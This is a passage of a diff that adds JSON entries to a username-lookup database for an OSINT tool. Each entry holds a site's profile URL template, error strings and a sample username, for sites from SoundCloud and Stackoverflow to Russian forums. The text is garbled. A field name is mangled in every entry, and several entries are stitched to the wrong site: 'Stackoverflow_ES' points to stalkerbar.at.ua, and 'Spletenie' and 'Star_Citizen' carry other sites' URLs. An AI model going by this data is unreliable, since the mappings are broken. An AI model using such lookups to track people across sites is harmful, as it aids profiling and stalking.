"[а-яА-Я]", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.snowjapan.com", + "usernameON": "nisoko", + "bad_site": "" + }, + "Soborno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://soborno.ru", + "usernameON": "arinasha", + "bad_site": "" + }, + "Soc-life.": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://soc-life.com/index/8-0-{}", + "urlMain": "http://soc-life.com", + "usernameON": "Ilona54", + "bad_site": "" + }, + "Sochi_profi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sochi.profi.ru/profile/{}/", + "urlMain": "https://sochi.profi.ru", + "usernameON": "Irina", + "bad_site": "" + }, + "Social_librem": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://social.librem.one/@{}", + "urlMain": "https://social.librem.one", + "usernameON": "adam", + "bad_site": "" + }, + "Social_microsoft": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The resource you are looking for has been removed", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://social.microsoft.com/profile/{}", + "urlMain": "https://social.microsoft.com", + "usernameON": "shartbandiha", + "bad_site": 1 + }, + "Social_tchncs": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "https://social.tchncs.de/@{}", + "urlMain": "https://social.tchncs.de/", + "usernameON": "Milan", + "bad_site": "" + }, + "Socialblade": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://socialblade.com/youtube/user/{}", + "urlMain": "https://socialblade.com", + "usernameON": "fred", + "comments": "cf", + "bad_site": "" + }, + "Socioforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.socioforum.su", + "usernameON": "adam", + "bad_site": "" + }, + "Socionics": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "urlMain": "http://www.socionics.org", + "usernameON": "RWinner", + "comments": "bad", + "bad_site": 1 + }, + "Softboard": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "<p class='ipsType_large ipsType", + "errorTyp��": "message", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://softboard.ru", + "usernameON": "Rambler", + "bad_site": "" + }, + "SoftwareInformer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://users.software.informer.com/{}/", + "urlMain": "https://users.software.informer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Solo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://solo.to/{}", + "urlMain": "https://solo.to", + "usernameON": "red", + "bad_site": "" + }, + "Soloby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>QT Media 404", + "errorMsg2": "Универ soloBY", + "errorTyp��": "message", + "url": "http://www.soloby.ru/user/{}", + "urlMain": "http://www.soloby.ru", + "usernameON": "red", + "comments": "bad", + "bad_site": 1 + }, + "Somersoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.somersoft.com/members/?username={}", + "urlMain": "https://www.somersoft.com", + "usernameON": "johnhenry", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "urlMain": "https://www.sony-club.ru", + "usernameON": "usman161rus", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony_stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Сайт закрыт", + "errorMsg2": "Форум Sony - Stratege.ru", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "urlMain": "https://sony.stratege.ru", + "usernameON": "kalpak", + "bad_site": "" + }, + "Sorento_kia-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://sorento.kia-club.ru/", + "usernameON": "king", + "bad_site": "" + }, + "Sotoguide": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://sotoguide.ru/users/{}/", + "urlMain": "https://sotoguide.ru", + "usernameON": "jura1987g", + "bad_site": 1 + }, + "SoundCloud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Soundex": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://soundex.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Soundgym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "[а-яА-Я]", + "url": "https://www.soundgym.co/member/profile?m={}", + "urlMain": "https://www.soundgym.co", + "usernameON": "raydrcougso", + "bad_site": "" + }, + "Soup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.soup.io/author/{}", + "urlMain": "https://www.soup.io", + "usernameON": "cristina", + "bad_site": "" + }, + "SourceForge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "error-page", + "errorTyp��": "message", + "url": "https://sourceforge.net/u/{}/profile/", + "urlMain": "https://sourceforge.net/", + "usernameON": "blue", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "TE": "trailers", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Sourcewatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "urlMain": "https://www.sourcewatch.org", + "usernameON": "Rebekah_Wilce", + "bad_site": "" + }, + "Southklad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Форум кладоискателей - Юг Клад - Информация", + "errorTyp��": "message", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://southklad.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Soylentnews": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "usernameON": "adam", + "bad_site": "" + }, + "Sp-shopogoliki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sp-shopogoliki.ru", + "usernameON": "sima", + "bad_site": "" + }, + "Spaces": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spaces.im/mysite/index/{}/", + "urlMain": "https://spaces.im", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Spark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spark.ru/startup/{}", + "urlMain": "https://spark.ru", + "usernameON": "green", + "bad_site": "" + }, + "Spartak_msk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Вы не можете произвести поиск сразу", + "errorMsg2": "Информация", + "errorMsg3": "поиска: 0", + "errorTyp��": "message", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spartak.msk.ru", + "usernameON": "malyushenko", + "bad_site": "" + }, + "Spb-projects": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spb-projects.ru", + "usernameON": "Deij", + "bad_site": "" + }, + "Speakerdeck": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "User Not Found", + "errorMsg2": "loige", + "errorMsg3": "mariozaki", + "errorTyp��": "message", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com", + "usernameON": "adam", + "bad_site": "" + }, + "Speedrun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not found.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://speedrun.com/user/{}", + "urlMain": "https://speedrun.com/", + "usernameON": "3Tau", + "bad_site": "" + }, + "Spiceworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/people/{}", + "urlMain": "https://community.spiceworks.co", + "usernameON": "adam", + "bad_site": "" + }, + "Spinchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spinchat.com/hp/{}/", + "urlMain": "https://www.spinchat.com", + "usernameON": "Adam", + "bad_site": "" + }, + "Splatoon_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://splatoonwiki.org/wiki/User:{}", + "urlMain": "https://splatoonwiki.org", + "usernameON": "Hewer", + "bad_site": "" + }, + "Spletenie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Страница не найдена", + "errorMsg2": "
", + "errorTyp��": "message", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "urlMain": "https://forum.sportbox.ru", + "usernameON": "Thedolphin", + "bad_site": "" + }, + "Sports": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "%20", + "errorMsg": "Ничего не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sports.ru/search/?query={}", + "urlMain": "https://www.sports.ru/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Sportsjournalists": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sportsjournalists.com/members/?username={}", + "urlMain": "https://www.sportsjournalists.com", + "usernameON": "outofplace", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SportsTracker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\"code\":\"404\"", + "errorMsg2": "Not found", + "errorTyp��": "message", + "url": "https://www.sports-tracker.com/view_profile/{}", + "urlMain": "https://www.sports-tracker.com/", + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Sportstracklive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.sportstracklive.com/en/user/{}", + "urlMain": "https://www.sportstracklive.com", + "usernameON": "PaddyLewtas", + "bad_site": "" + }, + "Spotify_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\t\t0 results", + "errorMsg2": "No search results found", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "urlMain": "https://community.spotify.com", + "usernameON": "adam", + "bad_site": "" + }, + "Sprashivai_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "http://sprashivai.ru/{}?sl", + "urlMain": "http://sprashivai.ru", + "usernameON": "red", + "bad_site": 1 + }, + "Spursarmy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">Ошибка

", + "errorMsg2": "Профиль", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://spursarmy.com/profile/{}", + "urlMain": "https://spursarmy.com", + "usernameON": "Sloock", + "bad_site": "" + }, + "SPW": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.spw.ru/members/?username={}", + "urlMain": "https://forum.spw.ru", + "usernameON": "kato", + "ignore_status_code": true, + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SQL": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "begin case_noresults", + "errorMsg3": "<TITLE>Òåõíè÷åñêîå Îáúÿâëåíèå", + "errorTyp��": "message", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "urlMain": "https://www.sql.ru", + "usernameON": "Birkhoff", + "comments": "bad", + "bad_site": 1 + }, + "Srclog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://srclog.com/{}", + "urlMain": "https://srclog.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ssb_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ssbwiki.com/User:{}", + "urlMain": "https://www.ssbwiki.com", + "usernameON": "NotBen", + "bad_site": "" + }, + "Stackexchange": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "urlMain": "https://unix.stackexchange.com", + "usernameON": "telcom", + "bad_site": "" + }, + "Stackoverflow": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "p>No users matched your search", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://stackoverflow.com/users/?search={}", + "urlMain": "https://stackoverflow.com", + "usernameON": "adam", + "bad_site": "" + }, + "Stackoverflow_ES": { + "country": "🇪🇸", + "country_klas": "ES", + "errorMsg": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "urlMain": "https://stalkerbar.at.ua", + "usernameON": "lordsfilmpw", + "bad_site": "" + }, + "Star-girl": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://star-girl.ru", + "usernameON": "Patricia", + "comments": "bad", + "bad_site": "" + }, + "Star_Citizen": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 -", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Steamid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Just a moment", + "errorMsg2": "Cloudflare", + "errorMsg3": "profile information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://steamid.uk/profile/{}", + "urlMain": "https://steamid.uk/", + "comments": "cf", + "usernameON": "blue", + "bad_site": "" + }, + "Stereo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stereo.ru/user/{}", + "urlMain": "https://stereo.ru/", + "usernameON": "Yamiha", + "bad_site": "" + }, + "Sti-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://www.sti-club.su/member.php?username={}", + "urlMain": "http://www.sti-club.su", + "usernameON": "Viktor85", + "bad_site": 1 + }, + "Stihi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Автор не найден", + "errorMsg2": "Поиск авторов", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.stihi.ru/avtor/{}", + "urlMain": "https://www.stihi.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Stop-narko_info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "urlMain": "http://stop-narko.info", + "usernameON": "Ergo", + "bad_site": "" + }, + "Stopgame": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stopgame.ru/user/{}", + "urlMain": "https://stopgame.ru", + "usernameON": "Diml", + "bad_site": "" + }, + "Store_kde": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://store.kde.org/u/{}", + "urlMain": "https://store.kde.org", + "usernameON": "statman", + "bad_site": "" + }, + "Storycorps": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://archive.storycorps.org/user/{}/", + "urlMain": "https://archive.storycorps.org", + "usernameON": "adam", + "bad_site": "" + }, + "Stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум - Stratege.ru", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.stratege.ru/forums/member.php?username={}", + "urlMain": "https://www.stratege.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Strava": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Studfile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://studfile.net/users/{}/", + "urlMain": "https://studfile.net", + "usernameON": "adam", + "bad_site": "" + }, + "Stunited": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://stunited.org/profile/{}", + "urlMain": "http://stunited.org", + "usernameON": "mani-vel", + "bad_site": 1 + }, + "Subeta": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Invalid user", + "errorMsg2": "Error", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subeta.net/users/{}", + "urlMain": "https://subeta.net/", + "usernameON": "Brioche", + "comments": "cf", + "bad_site": "" + }, + "Subforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subforums.net/members/?username={}", + "urlMain": "https://subforums.net", + "usernameON": "romator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Substack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.substack.com/", + "urlMain": "https://substack.com/", + "usernameON": "irina", + "bad_site": "" + }, + "Sugoidesu": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://sugoidesu.net/members/?username={}", + "urlMain": "https://sugoidesu.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suicidegirls": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.suicidegirls.com/members/{}/", + "urlMain": "https://www.suicidegirls.com", + "usernameON": "dtimm87", + "bad_site": "" + }, + "Suomi24": { + "country": "🇫🇮", + "country_klas": "FI", + "errorTyp��": "status_code", + "url": "https://www.suomi24.fi/profiili/{}", + "urlMain": "https://www.suomi24.fi", + "usernameON": "Kilgore", + "bad_site": "" + }, + "Superuser": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search.", + "errorMsg2": "s-empty-state bg-black-025", + "errorTyp��": "message", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "urlMain": "https://superuser.com", + "usernameON": "adam", + "bad_site": "" + }, + "Support_mozilla": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found | Mozilla", + "errorMsg2": "Sorry, we couldn't find the page you were looking for.", + "errorTyp��": "message", + "url": "https://support.mozilla.org/en-US/user/{}", + "urlMain": "https://support.mozilla.org", + "usernameON": "username", + "bad_site": "" + }, + "Suunto_Movescount_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "error=4&", + "errorMsg2": "<title>QT Media 404", + "errorTyp��": "message", + "url": "http://www.movescount.com/ru/members/{}", + "urlMain": "http://www.movescount.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "https://www.suunto.com/" + }, + "Suzuki-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://suzuki-club.ru/members/?username={}", + "urlMain": "https://suzuki-club.ru", + "usernameON": "riphkin", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suzuri": { + "country": "🇯🇵", + "country_klas": "JP", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://suzuri.jp/{}", + "urlMain": "https://suzuri.jp", + "usernameON": "boss", + "bad_site": "" + }, + "Svidbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.svidbook.ru/user/{}/", + "urlMain": "https://www.svidbook.ru/", + "usernameON": "Moon", + "comments": "bad", + "bad_site": 1 + }, + "Sweethome3d": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " Error", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "urlMain": "https://www.sweethome3d.com", + "usernameON": "empereur", + "bad_site": "" + }, + "Swimming_forum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://forumswimming.ru/index/8-0-{}", + "urlMain": "http://forumswimming.ru/", + "usernameON": "irina", + "bad_site": "" + }, + "Syberpussy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://syberpussy.com/members/?username={}", + "urlMain": "https://syberpussy.com", + "usernameON": "akira20m", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Syktforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "404Ошибка! - Форум Сыктывкар. Форум города Сыктывкар", + "errorTyp��": "message", + "url": "http://syktforum.ru/profile/{}", + "urlMain": "http://syktforum.ru", + "usernameON": "TonyT", + "bad_site": 1 + }, + "Syktyvkar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://syktyvkar-online.ru/profile/{}", + "urlMain": "http://syktyvkar-online.ru", + "usernameON": "vcaun53", + "bad_site": 1 + }, + "Sysadmins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Could not obtain user posts information", + "errorMsg2": "", + "errorMsg3": "Hagakure", + "errorTyp��": "message", + "url": "https://sysadmins.ru/member{}.html", + "urlMain": "https://sysadmins.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Sysprogs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://sysprogs.com/w/forums/users/{}/", + "urlMain": "https://sysprogs.com", + "usernameON": "jamessmith", + "comments": "RKN", + "bad_site": "" + }, + "Sythe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "Attention Required! | Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sythe.org/members/?username={}", + "urlMain": "https://www.sythe.org", + "usernameON": "rskingp", + "bad_site": "" + }, + "T_baidu": { + "country": "🇨🇳", + "country_klas": "CN", + "errorTyp��": "response_url", + "url": "https://tieba.baidu.com/home/main?un={}", + "urlMain": "https://tieba.baidu.com", + "usernameON": "irina", + "bad_site": "" + }, + "Tabun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tabun.everypony.ru/profile/{}/", + "urlMain": "https://tabun.everypony.ru", + "usernameON": "adam", + "bad_site": "" + }, + "TalkDrugabuse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://talk.drugabuse.com/members/?username={}", + "urlMain": "https://talk.drugabuse.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "cf", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Talkingsober": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://talkingsober.com/u/{}/summary", + "urlMain": "https://talkingsober.com", + "usernameON": "carljr", + "bad_site": "" + }, + "Talkstats": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.talkstats.com/members/?username={}", + "urlMain": "https://www.talkstats.com", + "usernameON": "johnlee", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Tamboff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существуе", + "errorMsg2": " - tamboff.ru ", + "errorTyp��": "message", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.tamboff.ru", + "usernameON": "z0dl9rnd", + "comments": "bad", + "bad_site": 1 + }, + "TamTam": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "maximum-scale=1", + "errorMsg2": "ТамТам", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://tamtam.chat/{}", + "urlMain": "https://tamtam.chat/", + "usernameON": "blue", + "bad_site": "" + }, + "Taringa_CLOSEDEAD": { + "country": "🇦🇷", + "country_klas": "AR", + "errorTyp��": "response_url", + "url": "https://www.taringa.net/{}", + "urlMain": "https://www.taringa.net/", + "usernameON": "BLUE", + "bad_site": 1 + }, + "Teakdoor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://teakdoor.com/members/{}.html", + "urlMain": "https://teakdoor.com", + "usernameON": "joe-90", + "comments": "bad", + "bad_site": "" + }, + "Techdirt": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " | Techdirt", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.techdirt.com/user/{}/", + "urlMain": "https://www.techdirt.com/", + "usernameON": "thatoneguy", + "bad_site": "" + }, + "Techpowerup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "urlMain": "https://www.techpowerup.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Techrepublic": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.techrepublic.com/members/profile/{}/", + "urlMain": "https://www.techrepublic.com", + "usernameON": "Kentertainments75", + "bad_site": 1 + }, + "Tek-tips": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "urlMain": "https://www.tek-tips.com/", + "usernameON": "red", + "bad_site": "" + }, + "Teknik": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The user does not exist", + "errorMsg2": "Not Exist | Teknik ", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://user.teknik.io/{}", + "urlMain": "https://teknik.io/", + "usernameON": "red", + "bad_site": 1 + }, + "Telegram": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://t.me/{}", + "urlMain": "https://t.me/", + "usernameON": "Klaus", + "bad_site": 